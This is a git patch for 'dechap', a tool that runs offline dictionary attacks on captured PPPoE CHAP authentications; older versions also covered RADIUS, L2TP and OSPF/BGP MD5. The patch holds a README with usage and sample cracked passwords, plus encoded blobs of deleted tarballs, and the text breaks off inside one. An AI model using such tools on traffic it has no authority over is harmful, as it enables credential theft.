From 5b605e3857521b4b0da2ff0767f679c0387614ef Mon Sep 17 00:00:00 2001 From: libcrack Date: Mon, 25 Apr 2016 22:24:59 +0200 Subject: [PATCH 01/12] dechap v0.1a --- Makefile | 5 + README | 78 +++----- dechap-0.1a.tar.gz | Bin 6652 -> 0 bytes dechap-0.2a.tar.gz | Bin 7775 -> 0 bytes dechap-0.3a.tar.gz | Bin 10860 -> 0 bytes dechap-0.4a.tar.gz | Bin 9294 -> 0 bytes dechap.c | 431 +++++++++++++++++++++++++++++++++++++++++++++ dechap.h | 68 +++++++ 8 files changed, 532 insertions(+), 50 deletions(-) create mode 100644 Makefile delete mode 100644 dechap-0.1a.tar.gz delete mode 100644 dechap-0.2a.tar.gz delete mode 100644 dechap-0.3a.tar.gz delete mode 100644 dechap-0.4a.tar.gz create mode 100644 dechap.c create mode 100644 dechap.h diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..123e9b6 --- /dev/null +++ b/Makefile @@ -0,0 +1,5 @@ +CC=gcc +CFLAGS=-lssl + +all: + $(CC) $(CFLAGS) dechap.c -o dechap diff --git a/README b/README index b6b4b72..2a77a9e 100644 --- a/README +++ b/README @@ -1,50 +1,28 @@ -dechap v0.4 Alpha -Written by Foeh Mannay, October 2013 - -PURPOSE -======= - -dechap is a tool which attempts to recover login credentials from captured -PPPoE, RADIUS and L2TP CHAP authentications plus MD5 authenticated OSPF or BGP -traffic. It strips away any 802.1Q tags and / or MPLS labels which are present -to get to the good stuff and then runs a dictionary attack against any -authentications it finds. - -Please see http://networkingbodges.blogspot.com/ for more information on the -theory behind this if you are interested. - -INSTALLATION -============ - -Provided the OpenSSL dev libraries are installed it should be possible to simply -extract the source code, cd into the directory then run "make". - -USAGE -===== - -There are only two parameters and both are mandatory. You must specify your -capture file (original pcap format) with the -c flag and your word list with -the -w flag. Here's an example: - -lab@lab:~/dechap$ ./dechap -w mywords.txt -c someauths.cap -Found password "tangerine" for user user1@testisp.com. -Unable to find a password for user user2@testisp.com. -Found password "password1" for user user3@testisp.com. -Found password "Africa" for user user4@testisp.com. -Found password "Frankenstein" for user user5@testisp.com. -Found password "s3cr3tk3y" for OSPF host 10.1.1.1 key 1. -Found password "t1nt3rn3t" for TCP from 10.0.0.2 to 10.0.0.1. -lab@lab:~/dechap$ - -CHANGE LOG -========== - -v0.1a First working release, only works with PPPoE traffic. - -v0.2a Added support for RADIUS and L2TP captures. - Fixed a bug in MPLS decap. - -v0.3a Added support for MD5 authenticated OSPF. - -v0.4a Added support for MD5 authenticated BGP. - +dechap v0.1 Alpha +Written by Foeh Mannay, January 2013 + +PURPOSE +======= + +dechap is a tool which attempts to recover login credentials from captured PPPoE CHAP authentications. It strips away any 802.1Q tags and / or MPLS labels which are present to get to the CHAP and then runs a dictionary attack against any authentications it finds. + +Please see http://networkingbodges.blogspot.com/ for more information on the theory behind this. + +INSTALLATION +============ + +Provided the OpenSSL dev libraries are installed it should be possible to simply extract the source code, cd into the directory then run "make". + +USAGE +===== + +There are only two parameters and both are mandatory. You must specify your capture file (original pcap format) with the -c flag and your word list with the -w flag. Here's an example: + +lab@lab:~/dechap$ ./dechap -w mywords.txt -c someauths.cap +Found password "tangerine" for user user1@testisp.com. +Unable to find a password for user user2@testisp.com. +Found password "password1" for user user3@testisp.com. +Found password "Africa" for user user4@testisp.com. +Found password "Frankenstein" for user user5@testisp.com. +lab@lab:~/dechap$ + diff --git a/dechap-0.1a.tar.gz b/dechap-0.1a.tar.gz deleted file mode 100644 index 80381dfa57a5fce323fd2647d6cb135d6239aff9..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 6652 zcmV`zyd(Y%(1_H-_hM@9F&yA$<*$K6~$B^uV26Wz3!GL-I=r4-f6X+C*S-| zpB?x-Jvg9$;ZyvVzPERGo<7~%Io#iCf3wqW@9*z?BMyEqgzV2UNu5}TZ{jFQZyR@4 z|NqjDXYv26chc<-yI*|`Wbons{yP5eKHYB@_`kb<(Edj3e05AJKL5}8e-bTLu|J)q zqV6`t?oNBJDPBf$CeEEObXHrNogff2AQ7=lWPB~X*4F0M=0JLWlE(gcnfg&EoX``? zL<&C?NwkbzNiAbPbmEnmMDaXniW@(ji72Ljqh-3aIgdPl;=2w)XbLBmVj<(XpQh3i zi#WRWJ@}H&oD}{i0ZI@=H-0!3ZWMYxPD*IfT&71`n*u(ML>{d~L=%mV8+kAk*bVzg z9l#S|I^*aXyA%-^iV$Ix`mSuk5I+$C07N+Us-agv308Fj$Dhl%wGI_n(xQh(1@`GJ z0lnV|8^IgZpuEUk&SjW7nrTmf9}x_Q#oS3{>^nh{k)9ZaknN3_{q?0!6LCQ3%q3#Q z<^(X#nu!NKh!0@QK%zK-)mCC`&;rSUEkr_w9&}0+59~LdfgQ#7nkn_y;rYC;`PPZX?HLbo&G7b_D6%>i>uKEG}Jmnm|4RP(3Ji=(f#M; zpgSCji-G8!U!L^<8h{^k`lDWV*c83~$=TIuum7qk0D|aWjKo>*yf=bjql+f3s-|si zX7j|wOL5*EoV^6Wgy&(?h@w#t;_!n2S zYZL*%i@)}OYFa{@#5U1;DLSWbdWg9i4V)hKlvEJePF^dTlbGLO|84(2=yp!ezrOpw z)Bo>6pZ5O;7$>%O_xAqu|9{9w8SHBi0MQ8+GY1ThvX|qP9SJnWe>ve2y%z=vC|SzN zY;8W{54I_AV4NMW=TRVTX1+TU4gj1lz=(s5kEIJfYx(gS})eupf(>nzeG zG>Xg1%Lt6{>&~Tcmf%ca5Jw6L*fB8j;7b;;%ndjaCtQi|cXnIte~8qXvO|1=P6Uk7 zPz26c0(6B51{oO0gef93mGlq#Dqe|QX(-|)I#zIeE-s1NhCMj$XW>jCb^sTQYZmYV zFDE8`=q03hmw|M^l_gS&S(+}6o;(RH=t4kzH%H$q)+0{7r{!%FKO(!9F18~Ra3YyH&k@=eBf}3 z*lI$G+T8gpYlQLD5Db$-mAo)S5R%Y{LRbL^BoCmiO%Zw>-(iFeVG z<0p3YE3pD>wCDg20PA`LF%*PbfmlGhV2U=fkY?KzlfaqM5;PlF<8gGAjk%#QE%6$V ze2C}(2^=7WJVM+-u>KA|NB{kV#r{7;OMSzc^A$o&TIrV*7fYhKM0rVCfX>$D%V-G; zFPtQyb!({;P9eYvWsT$j0wVrj`|qhtQa@Rsi~t3%LPzlgB@HChfXGeTElever@yre z%kAAUuQQ23+6$BR@0j#5cEZmRq)hr@Vd_C)YKf%xaAALbe#6K1|NOn>e(g1G_y2nb zyNAX4&)&}7;h+BhkNEt>58Yr1neksEa1conJehk3t=aRf&8#O$JwGb9ffp$?f(4sW zqt#qfay6?_vnRoFNilp2LHH2-mZ(wi;b8Dlv-=0#vu+0h-40{`H9PnqI8UBvz_rTo zq7+yxz!VLI4ZdK3jbd1-XY^(rku@UxWvnj?Bo_> zsaVo#o&dY567F*|Cy-k_D7951RarEPy8QbG%@Xs2F~_XgPQh?mTh3=1`w^&FUPps z4I&qY5EKqT*s^co%Ybm-;=wan|Kl+Y@*h9uFIbcD!=sN?{2*Ws+MdTwi9k>Q$A629l8=V0qm8tsIvw_DC;yy zWda#a)0xuDbhUtZx-`@Ak@hU?g26PzWEoO+0!hzjN%ciXK-dm2*(N!pZD;~vEMnK> z$Q=|8tsj0Tn2d@eW~9I%g=hpp5^;bGF?vRFhxQ)m1=6;Y=`ZST;)H&>f_~|KR(g-y zTFW>x4E`OKm2hma@Pgu6jm#A4@00*2L{ z)v=Xz$wenZ^`(Aybi{fysk20Y=C}9Dh;MAr|Ii01a@zSAGReb`I%JNVcTN(vH$)m5 z+QqW%2yh@kb2)bxD0s4!gxYT? zB!AXeQcd7qSbqQE%l^|}xje2?xje@liKId_6Z1ZZ9Pa;0L}xxds&0{wnhS%f-Kd#l3_dQN6$LpO6_H zM`;S|$J0fs3XWNp0T4ZN?oT;u?PeTxFkEy02DrMC5{tcR+PVkho+ke$PQrz)VEaYY=@J7l4g^?}zwPrSw zjTNGmHSz9S3I>WD&Lg4A`4#1dVrb8!Wp^u5s;T?AsT|A-N*+w=oK0%zvC4twVqZlR zNZewGp(pj)3Dx*P1_c8W-!8>?l>&WHxv3tK-}QqJVXaxQS}7;nFp`uHEJddl@$%6|o}XHV?qsJPm~j*9(0Ebdmvd1gb1M@mO5sx#CxBEY z!74@jP>ewlZe}Y=-jLjoHYI=iH*!2jm_LBwSt^HN8JK2eq)XAXbstq#MYJPh{AUh?`e7ufYyg=lT@h0@9-x;^e3E4kz=;`EA|iGC zT0p@f>d#yeD)vwz<~jmhb_3}E(rYU#+FT^J)HS#;skrWyOzzvy>$tFdcloH9_lC|Xcb)tnW=@M!gu zpUOE>eHuHHv|etp;(Fj4C7H*HR%#Bh0lVuH~xP+s`SLe4uA!Kyw2SdVa<;p`c=y z`U*^q<#jgqI8y<{tFfL1A%vr4b+D*>0$N?I4jG{-30|)+)l?*#Uu-U(2Ne6+$}z>m z^<}+q`#B-@Oc+8L>S;+04bgOqW||?_V)?@l0ow=9<6r7o+d3&VK~q(y_OFV%uVg4= zrmtYgikMdD^(1r33&)SS0=rnq&`VVD1jSX~2xTaEbhVM8YKcYG2(p9Rr{fsaSUQeT z?K!gRX}0^+uCp7*QG6sa4@%(Bp@2DyRNlx?AJo`p7vz-8H%m4yQ)ZiPHzvzaikYr^ za)XWCDh=kI+~AD#730y~Sq!dcjbM zO4D<^&h#|a*dAQs{sxB5A3x#koBGS%Sr=rH4_ioX=&%Dl`6CdIF-Xd1+m#exZJ=f? zlH!QWZUGo{z|`H;ffpaQn0A~tU4pRg?Q%*{K1fKNIK}gyM4x`xH;RsE<2Qcj)%8Y* zOb}MYGLCbN)}Hdgs@5(T{AuRJ)^TSxrAoVcVX~Y|eAh>ADTM;{4lWU?BE9DJ za{~8CfrDM{K5g%QzyEZveVE_fhmg!3=uQ6#+zsQSn15OZX@(o)Li9E+*_T=8cZMDrT|-f`b;{Y#DwpKaJ?x3U3O;- zJzP-`+%iWDa&6s;k6zJWwM?)#!F?M|`AJM9?kQ`@%5@b2PdrI2^ypd(cmpNVxH{fM z#Ip&!bgHfysIf?Ngko8tviSjkwgp;mf_|ZgMWb~3`88vMk!dYTVm>Qo^&##%Y9eC~O6AW8t%*tG0u>Wp0STg6h=@JbNi<2po zscTlK`{dg}^lsrF?<&tQwbRNC-Nql~JJxeXZGb&E8Ak`gX_?IKv}aUNP_+S7(8%Hj zE}&=I(tFCCk!Zf@X%B3+aSdcbH)83M5!cGDd8L)lIch)nf zLh7w}{?Cx-zs5hxp|ugM*mIoymlo@HA1M8IJW8o%7C#fLtBW z0B#SzJ5i_Kxf4c))jMTtmKUbpX-nl!7AJ_G$5|F`5~s@4k5Z=}l{F}4d015|9{w~$ z?rt0 zw^kExV5^)0)C}B$AChe8aup;)Gp<%`WCpTWZA+~4*Np8ZebIL>d2FHHAA{AgigpGd z7bEo5PF+&Au8=2Da4oCLa5V*`29B2l6ELS9Zc`U*5(1}6dFD+KKAJ9g1?ALK?Jx5U zST7*MpOt_LMFhOVVEjY6gplO@L3{V3X+p}rZy(a}8Mtgd;kwCHJFFU!K|pQIRE1PW zu~=lr=YF@XpQ@4=3X`x{S&`|m?<`;xIfXo|uD9J3y9WnNksHiHXdO4{Z6#?8U(DPr zjNt*#$toBgy{Fdg_D6*I@I&~pQPri-$h0x-V|?|mXe{WmKB@u+Jz?R5IeR?@K^h(_ zd`YvXQ2M2Q{&bzsteKHJA2quh1^Q;S&5aGbp}knuY06`WwF~=J2T0sa8)_E0WocER zCwEMXS9r$euO*zH9+2Ad?O~ro3^$rD=vsy;NTWMZGjb=(yiWkam;u_voX6D|h$gL7 zy8METC8SOCA=-!et1vohEj&v5Q2RFdU_D0rHo@XaM#<6&x=O2~*Fv|YtiT)(qQe4D zezx=7wUf1oYpn0_+)rbE8@@j)!-!X?=fKTd-h-$+<~S<5U=C3h#7RN0;v4z+HBo;y zLXRPx@K^va?xSM}^`?WZne_@p+d4GG9OUNSSY*L(`E^BA>|Cr4-yVE(6nIG)EIk{I z=J>P}>~tuLk58{niE%}DkCqAYBfG+t%peG#$zWl&tG8&szF|rujc<9}k}H6n%574e zalB0BHt^a-QUl95o=qXOnfUI9@C`sf27L>D4FozQNia{Vn)z2$EQv<6@VNcR$YJP0r7z50}NlqK-PshiSR+&~J!vTyUd6VR+!Ho>(k+%deefRj{O?I5i1mV(yDNStTkh@XW zZP2WlcsG!EMUKK@Ek6ChIaux-gsCoFO;vm)y|EHa6=V=%Q!gG=M4;dIBqH4=fhNuIIL>D^2 z#!y8jtwQq_^ zm@jrG6i`a*05Pg(<&>+07n^`ydaXA$;hAWh>1dHju-+iX3&h&wSXm3^gj$NC&K$AH zzP-&f>av-gZCj(E5(s9b80JwbyKikbAiillXdU4ngY!l5U8%e6;(tseGoQf8{weE8I8gJ0{>=SB(D{a zkRuOu#+SHRX}EBBl&hMG(T$I)Oe0E{-0AE|Np7U~s}@s~Z+uX-UlcQL{?7ZTC}ve#id z98Grty>7bM?nbg^*Z12mGwadSFG==zW^e9H%-B%Rtjw%@RaV*I_QG0ix0)U6@ejY! zrv;yby*>Q9eX!Ru|5l$L+MU+H!G3$cy>swGs||nd|G@TsEr86=I*P53u^(muU)Hi0Z&s?9g z-plUAhvE6K&mO+})M`DfrYhi%)6@R&g{W<3YDfL?#rbe7Dm$6VXXlfbRI!s(^d~R- zqhWuN9qrX=cbFaI?BaBs?SFA`5s2A#Q-xHtmj-~!_LH)~#nmpA9VBI!C!*Ptq-fMV z8C;5q|CB22z7lP%r1Z2i5oJ@eOf|G0R;$(cX2qd~MRB;cV`i=6#Ru01*7I%tA!7fk zK7P!)%&}riHd%+9#Q|Fcp2Ok=XAX}o*Nd3XZ5~Bdc!RZT-~H#BdpFE=xF5T-8)o@5 zHvY1$*bRK9W@%O{u)9N6iI$fAcK`j6`t9i7t{+z_(UoWU>W6LqSglq8k6cIn#);?` zj#IHiRqkj3scc~j zy`H2`!Gc!npMUoFmn=jhmpx_*qikilVX_o8s9pjQ$snKnohDnwAe>RA<}iv9lIfzA z6-C!U=-{g5^yX^Ue&o)5SO(0@=4<$Kr*o9AjTS*D>)ZQDz1cU@Rjt^zRv#8lNQh+e zBj;gDYwp?~{Pl9m!y_nvyd{d5C}LZW(_Py8?23mGu*rv|^^XAiP#5^BD(=(O^>tVL zdRtckC+vDR`Z@6Vkt~O94xS7_*yic&tqVRkLGwJ z>X4fm5)V6lPUu#&HJ}cbTT0eA`Vetj&wx|tH8Q9Pe5VjJ=(jdIrur>iI}C2=?E1F% z!9Wyrmh=Q1Np!$Bfg~1LSH!n$=6bwnxFB@rnc*zZ1VHNq^KvYWFNKpLlv$y*j0jso z)Net1oLhlJB42?o(j@+uwSQ+wK3|gVx?b&i+66ZvX!#pFf}s zTZ5VL=U~PCDDoaJoxSGbX*H>cV#f_~MV>p&mW5!UU|CYQsa(pBuV3{?rt&NdmP%eqg+=0+yoZLe@Ie=o{Z76@+AfTmIN$5gg^7GNyKCTzK39b1URCm>G@rI9?q-ek`@!G;roTYEHdi4mMNVv;i8l<(2`M_O1_Km%{qA zrolQUbq|9C9!)yIUr{iNuPtmH!6Y=91Ll!~vw=%+7C7$Ag`#KU6Hui#kPoc- z!^_iC=FVURSC;2G)k?~mbJ;O#gMLW?p?V*)nkwI_FTuDB>{{gh%!8ROuh-EamA_@L zW16!LC_pG{^aHe1h0w$SJxkcbY|7cL0V<7x3uX_F*1Ba1}rkd%3C+#oYIe&24+Lj#z0?gA$mj^`l2F`gJhMqet{NSTf*7tkD9f zd@dRNx^#47(f1o3P%@aYYtH6?YRkU?=EaRV_uYtWM@{2@AO&aO;6kS~rC^+@90$?n z`YYHg2n1}8*!4Vsg!>PHkUVa%X|SAT*vG($AQk)fzgh93%J@wFPC7v;K$Y?I*cQko zYgH553(ea`+R+gIT{x7lpkt=byI-9M1VdclxM_4u3j}~LA0EQG& z$D&<@A`jXkh{S6QHx^m?@EwN~5Ls+N+Z5Q&79J(mb04M>hPdTB(8wIVG@^i`q6GG= zm@{Bqdx3|B}+0>eb9ec)L)Btm9#IuvZEGgd2Xdu`n`$rVNXpz{Gt))LMsyV5_! zzQsKoS-uzuRnbo9S|7X_T&4FC0;Qy#*Bt`{UgLP;N zGCAO-xW1stS+^Gn5knZErhWJ$oWT4z&XOIO#Y{$Rq-)tDwy#@A zSSUglTXS0XU*syVH;54I^Qhfvu+4X$p0qKFxY=MGAxv=B6*T)(rkRjAYR8EkAVF#G zHk2E*O+OG6U}(240Q@W=qNT%sCCY_3=n?I8r6Y-9^luWo+WC!AUKuAF73r@Dk>a<-sft z#W!8w2gxL;zXYR?xv`W}U`Fv!&W)^0(M#0-tvVytrr*a**C{~8QZ2(o1csDcG!r&S z1_KkOv$s#;{cY<#`-!!|ws=Iee%pR;?v!D0%?yE2BrC{3&F$3t?6Ui9vh*Iio7yI^ zf58U(;{BDG_m}UkFWy`k2#U5=n#~c$`?7hDB=R(fV<2~c;Ta2m3$_I?TnF_DM;^eE zkDRZhVnqE+=th$gR1lh$#4F%p$jNC1Z#&3};xOeGU|aHS%$}W(8^TY)T1|vxtxv($ z{^=(sCf}8l&st(~___;U?+t+=QwRc@eFfI>dMS=;2mr=C!27@0eMeQQR*ftMhPom| z<_SzJpd`_`?}6x{6Q%`-A@nmr7R&kWcY2!i}5Q#t+ci274W4 zZZo^qPQhB!JCydP-Ff$^vvaTg*)i4v-vvl%2|?_Uoi@Er>~`Nx`x=aAq`Hk}s_@YD zc}PU&mpTdo-!2MRw6^hJj%v`6!SlN%p43ruRAO@?0vrZ;uWhbSwGySB&E-(b%XbAqmthU(;)}Di0$i#r`$2FVY#DHqt*%Zo2 zMr`~lRiye zbqM#RWL1#dMpd$q7KCxj13xXoSWA1KO<_-5FK);$MRel<>R*y^QU|>E=YUMNuV;W1 zl712WQy|?={=|7jJCTWVE)d&Ufh|y^sFuTy8fKdrh(aA#&tNMV;p-8l#vmNsJ@fr= zrUp&W1^*`_Hdxt2dwL>sn78H4-?L+xvqGFYTzlTOu)5X0(MZB2<8BJEsCnmxm2tsC ztq~R$xEp@JC^!P%HwI&r;D@2}az9Eu7$Cud;w=FNuE7FK&!1p3Z;PM}bc=$fjFxMd z)&j%E1z|uzP0VSLA@0W_!mYr{sq0p;zD`sm@Uc=>!sRImR>&yK+dsXRc3``Gn;lpy z7}!ws#nrGbQ}wfZ=zZvN3;Jk45j8>nNaJjUDG1_BH;1<;2XqxtucBd3qPYlF7QHK|KM3l|F|L&8ucOM@xGY=x+OVKT0GcazcWm;mZg#4dt z+&%Ja#zk4Q_MHYYF&fs&Lbo#MElGAu-sH^ka7Ag*GkG}RS>YTboxys(kfYB)R4C9= zR=eW42gll}$`7vm0woN@*?yOnxIGd}B%ZlS6v9?bhlEky*Ohj7R8%fi1;9fiJe7pW z!jf>c^i3jE(b`c9`Os_ zj%{*Z+V#4(Q&_-c_jCvE&t-Y9@SC`T1!&f86jo$;?{k^tm3(E!I~1>V>UT+ERMv*t z)#t9llo|ATL#c8b7&Aw65f5xFI#Dc0f5?gDc1d8TrX-b!LC!#3O3m4Mh>|=p;h@Z( zK9sfgldN9-eQL{gCy_FphRFObC(&)XlIZkBnsWdDv_2FrbghWo#7;YP^s9^2=6$$9 zQB^SoSfXx(GLS+sJj8rWBIY%J7;=&0efKr}8m2G%qvx}b@7OG^m z|6We}x0L*a4IP4CBYizOXVSqW+T)RkU=(1=hpdB>zUZtw=2` zn$t_(PnK+pXzqi=$GAnV7U+>S|4LQ7&G!DctKxkvCH70z@%H{VQpoMuH&VzZxW6-{ zT!QeFV#dl+!?2@vRX3dgBMxXXCUub%I(T0`cKaUo`rSr(0eOBc!~9#>&r-*defnh6|Cc;0tk-SU=6*ZaDT36N()Zk#L zBsesu5QL_@;FW?wC5#STbU&0Suk)aLnY8 zP$Rzqr9*y|^gPmg0YR#lpdBxo<@ZH`*&g0ME8G_eaw(hT*87JA^P*787H4yVv-Pyu z3Cn(IzMsGSlz=*B3OyQSk|%wQDOsS1Bygmzt$}oK9Py);l$Eig-Wx@gYI6vbzTiF& z1ybc5If=pYJAEQKbG71l9Z95*AY&2<@M;i^f<8h5Xu<_a8E^_+EW~tdS(r=5mgNSj zRVPEAq;$#Q9lAse`9P?UG)tnuCI-eCa&%I~T3l)T2pX#zv#l0dxwiV2qi&m^yP$dQ z@~ZBpDRZoeq&j7KbK&j9X<3c0z0dwrd%g#0mw?QJJ8r7fTwP zph%u1tc6_qVZAC4;COx)A=jwJ6}%@ZIMz@U*?!55Q`x8?4UjF9Y(@$`rrp^$py*SM zwa(QL`5Aaf2F0+W(rNffhKIaeKn@`TM~LI~54_cZ%>cpIR_LT=piQ_2vFD+`O*16t z`3)M5(sR`qQ_KE{gG4$DP+a&{u(4$T1BTq@zL9wXHQ?OSXiE#+K^}<`%uG`GM^lx^ zeAewT5MBU8)L`SEdNQFem8~Rl>raGa$y&Kh!Ak}Oh>AyvRML!8xEqL-P*7CKIL)#= znj6{dk~%Z*5ZvAgqYJ{WHF?3fpC0pi|LI}DLFDuuc4^I2~8ZvGN@dO3Rb6~D1SPdV`l|e-)kxT>gt%WUg z!qRGjoJd^^o#bU};fos=P0IC>9&2SPVoDpgLb_%hsf#r7nju|KIz+r&108B=y{J{e z0}Xi?nq|hy(+<8e#`Lv#bvrKUQDBV?{AfL!xwea%LmFW8Xn^Ht_(bfxsXY4Jl`C;6 z&=Q&m=hx@sF#8Ns@tFpq!P*U$2erY}5>Yl5EX9O*60UulE)AI&R3Z9pOu!7$Wz!G? z3|vD{zJ^yk#8**BpPG+6zy>gm0OV~bVT$8oadKK}&43ulqUPIvYQ7?Y>+2k}J5P2G zcG~-?b-nXNoaLRbYzZ=t8C{)B=4y%@K-`FI%JH5cJrw}Iu*tSRf9Jzy2ib&~$AN#v z2^rD_z*hrY-}2;ebgfiGDdGsY=_6()Mefq|tgsAytPp>MLFK007822yz{DL5e3%Ax z6z#gKS6S%XCDn?g5T*b+uv&n!JS34@rnvTA7sjLZ=T|G6iW8Ma+f}<$csUq)P&3semz7f}VCB=0w`) z9Z0N;d#VK3lv3Avqn4g8B_Z_NAcgeIlR^yoAH==EV)E4y$vryBSYEit4Nf{8IIWy! zVm)ah$u$SdmUigZ!RY7^O*;>H5r6ClAsh)avtdjhRarIe&1?>xkbs&r`Zl_IxNAauX6*eywQ zmDl)FcjIMLq6`;WvP$2NY(fz^re6(uI7<Rvh%kkDWDvq8Fd~22 z8WyIkx;-uf(8h}tQQ%$i;#l6M9Apy+Dfk-<5C_qzB0dq0Cc}Xg0TOzIrOi}{CmB7| zwyAuDD|v=1XISD5B4yRaYhdlSd+pA9Rf6uo+jjCI95TYSHk4EGB|WuVk&Y{xA_dZ7)@Vi28Ol?a8)>X4f99a9YihX-*4f)@uvA;&F(v14YC%yP!WZ3DZv|2R zlpI%0mA6#7-Im$S{=<4vl}bjJygkGX`j24B=y?w`-*DsjnL8cQU_+JdS$OR5Db{0? z>`j>(B$6qML{P8wUXi$-L97mqR`5AEJXfL~k3c}D*DOz+L@h0*ktLGh|7B{-I}n%_ zJEf!|dZXlIkK9Y~5`imhBs*BH=t`6hVPm92_DG#M(i&k50T;l0Epnj>=VuL?Dtq4y z%W@Fw$Q*0$r*fi|$a_w*Ta)13=8w_4O`Q_JevHtTPLPd)|$B z&jY_kETHTq)rR(fBZ!Wn&}Q;fjF4EyV=+>kp`aBJ-_(OF+AGgJ#ZnYS&O{Dw4MLOO zb3q0UMoEBMm&mmq+SUeuSazlT%NxqPT1QBOWgr`52U!#?w3k!H8Pv z{1iNXV>&_N{iDNVw`f97!*$HJf!sEt9H^dt>IfmG6tfs~<;=C;`LE2_86W5l*?W%9A@Yb}Ju(8NBi_o*(gDe|qlpoCzty>iye z)piu$Kv7fMgECtYRc2~oStxFM(ut6uS%#(~iOWdj3Q*Id8MA6c&(}NxAFruz>Wgvd zuC`}QxhL*?!rTEq@bmv9=J z;dE258mrmq*Kz8sIDC-^7XrfsA?sHw_>Fy;2Srsj*k&kUsU;oCJb$)r*q{W6>Qe@U zv6poyOXE#goaoeNnM7FbQX@&sCUU|EXc}R>ne7D;H%s(^l*+(FaiR@KkK?6JvM+^? zppCz#kOFGH0&EP`B{HH)A@pTzWg4`RVI?IiFpIQ-+!8kNfBLz)@1Jk{G2eeY9rXIc zasQjoamV}borB$W_Wj45gM;tyKmHbha1(d=P_y!>73~1 zMs=e);*N_dY`PYY7>Y~ibR#x-qH5~;mIx0lQP!Z315zCS4%YETbxAK6s$_K3m@7oa#*~#K@KyX*GqLy_if|D4SG#?i>1M$=f)&F^nL|B6&P~upIB3T zLC97}*pP4Xf_`yrdPof{1a(Yi&MG~!1SFW%20LQO!)6&MFr|SH1q!UwS=;>Af<`Ja zHIx(B>m}$4OA+lc&_kH$OS~9O4`*uBYp2v)h+f~2yW-6n3`1d73qU2r3G;)bm}uYv z`=B93g9KpM;_Z{E25XHe3t(Ju-wDX>4iSiD5Yts%zz=kH06IJsk@*tF`S`G6NEI$F*<)WIO(6TXK&c#WuNuVFW!s> zFJ4aA%k$F{Fo{`rcmk!v$!PHGa&is@o82+=+{6mlDZ@9c|M!bge>`UABQ^kQZ~&vh z@T2Zjk!%PzX3$)I<6+8wcr%hAR8xX)l=8`YD+xOdteob^w@FB!s| ztpBP%oUk!w2teQdOLo>B4!dvIvpzu6eRkRxBM#qS=TW~mLBNx5JwOrwatiLjMZY(| zFa5vw0qpMRO#@fn!xts~b_tE3lAUzVx-a_UjcV9U78xk0IZCU@cXmN@qq9%7*6`5(dESi ze408C^EDsmeXKsmVO|f${W=h4FvbQ0G4E?Y{`n=X8d(6~5?=>^HN~L~A{!e# zXWf%m1B6_*21<_yk}C*py_XW_#O8O%e^dXTSsytXe&1Th+@b$l?beRg|2u8`_kVW4 zDEO}be~VAAcRaW4YPI+LwEJRwyzNDiSA`FFtcTTV<&U*qug>64s;)EjL^#_H?|Gk5Q%)kHD=^V7b@BiQ8BMmlsiM@+2v4i1J_~3binNP8! zW|3CLM)g>HuuKjo!gxX8$#;Q^o@)1kIoPJT2iw&@Edt{g2QLdBYG;F3yqOr$Q^FL~ zdD7}M+kd0z+(s3v2Bf-uaQ zTX;BG7)o+Q)?Y-*SiTq^ah`cB9*p*a_u?NHKNufKlOF!S!`CTah@@f6Fq*NOU@ab; zOKz&-)Pvy|Y_`)b8bO+5nr;_~x5e4{iu>d7DG2y0a5tu*6}svXJ3NB*JbdaTRyRqf zfV}|BY8fAl+~vvxzmb26L(7iMM~l$|YcQLh!w#fhf&YXJWvEFEv&|(~A)5s9nI==LfgE*p=Z2C<+gM(iydxXIoCKFHS+Zov&ADBP%~qNuf^B&vGi|7_dz zj62PN-II_jwINbqxEmWa*-HTPVI-~^S%3|Gh|mMi{T2Q{{BQa1Z2XZm= diff --git a/dechap-0.3a.tar.gz b/dechap-0.3a.tar.gz deleted file mode 100644 index 20b7aef6c7ae20d34b824bbf5f45c63e2f140309..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 10860 zcmV-yDwEY8iwFRER7+9-1MFRGY#hgVJ}dsvZKA|zgQf`zbVSwGkve|d@pzO-O9o}q zHc^UVMauqRD(v3g9&fF^-Sh4qDO#2d7p5u+s3p8jE+l`U5 z2vWC3Ka3=Zi#83=HviNBO&a%kXJ+?y_jZp*>LUoU13bLD`Fv;QosW0seTQ{jYpU(h ziLps_Ja>cK1l;u06n&ParzXOmzRQ)$aMh_&xq^75(qy%oV^cSZps?$>p6W1`YuI|T zU%cJIe@tCH)c@l9*mbWab#S#(N$dYgX>ywPKfZwh;9n|FPgQbk;(8O3-~xst7E{0#Bb^dyofA zb^{jH9$YxLys#F}?V+W)<#;A%R+d)d=~q@(Y*AVz;>o?Hq6BciYS(XZWvjydrn`RU z=S8&RU9WR<^NZ(2!6zcVa}SBQYS(wEye9l=VLv~j*7ZEQx^n+knfum5gfGo4E^nNf zpW*@fQAP1~+ByQ6>p30GV`|51ZWtCA)zb70mt9uI$JrdKtDY*ObR3;|Hf!2uoq0{2 z)pbubOqW@@rn|1{>`-XOG9K&b<_npJ~^JbG9)ihjh!|?Q0w^c2>uCs>iFwN1? zCe|i14eO#_XB5|Eb|bCHTqU29b$-OsFM)*g@V29GAv{KOK93q9Mo^z_nuH3qJC8qZ z>U*h3(AI36`3=n4s^N62;%6FEf%jRcH|6hWFXlu281nPW2zkYO5MFK7b+>J&-u0r2 zQX5EO!gcRhuCZyMQlNuvcJOzyJlh-UHf=|Sm#W?HaN1Z>zy6xq-e}ex-mFYISq^Kd zn})Vwby_vunT7xOi11>=1ttHlh z5yYpm{dHl4My&9-;>V_Ze$?BW%%UtF%_mk{Y2;_Nu{x=EA zcXs9a|9D?6_a^W~;Pb#A0nY=!3v2@`z**p%@6F{t3w#`y1penxE_W4p9e4(K45$F_ z1r7n=cvmj>0`PmlGr%K20XPEO3jE6fqyt_6o(FydcoaBvK=x_a z<@0%?Q7DkY+#}@+>~5)lJzjQp4}onG1pV+x8ae(U|rXY zy3V$ny4Tbl^0}z%ZPF7n+HF!Y<@(w-LYy70eY!yLEZviZOZBsRSY?Tx3J*myRD_zf`RZ6MmEN%Ds-fv6vZg35FP1-$7zb#ou( zlIHxb<(5dZzgsSQ;tAFp>x7IICywjpM~H*xvc1hn*<5#8q{&XI=M>Cz3#1Bl%!UIl zq5#eaYw)791l1Tl#Z|`HNmeLNRYy2qP7q&~riM{R{=0NxRu;DE*`(&)G+aT9>hgRI z%hDZL>28*XiFQW6U0FmB=I6KAp!CQR8LB4Otck7 z?T(}AVCgyruj?6>uw*zhcOM^87Ss3=kT`0?%w0<3Zr{KM9PVx#p4KeTTtKx1DW?&m 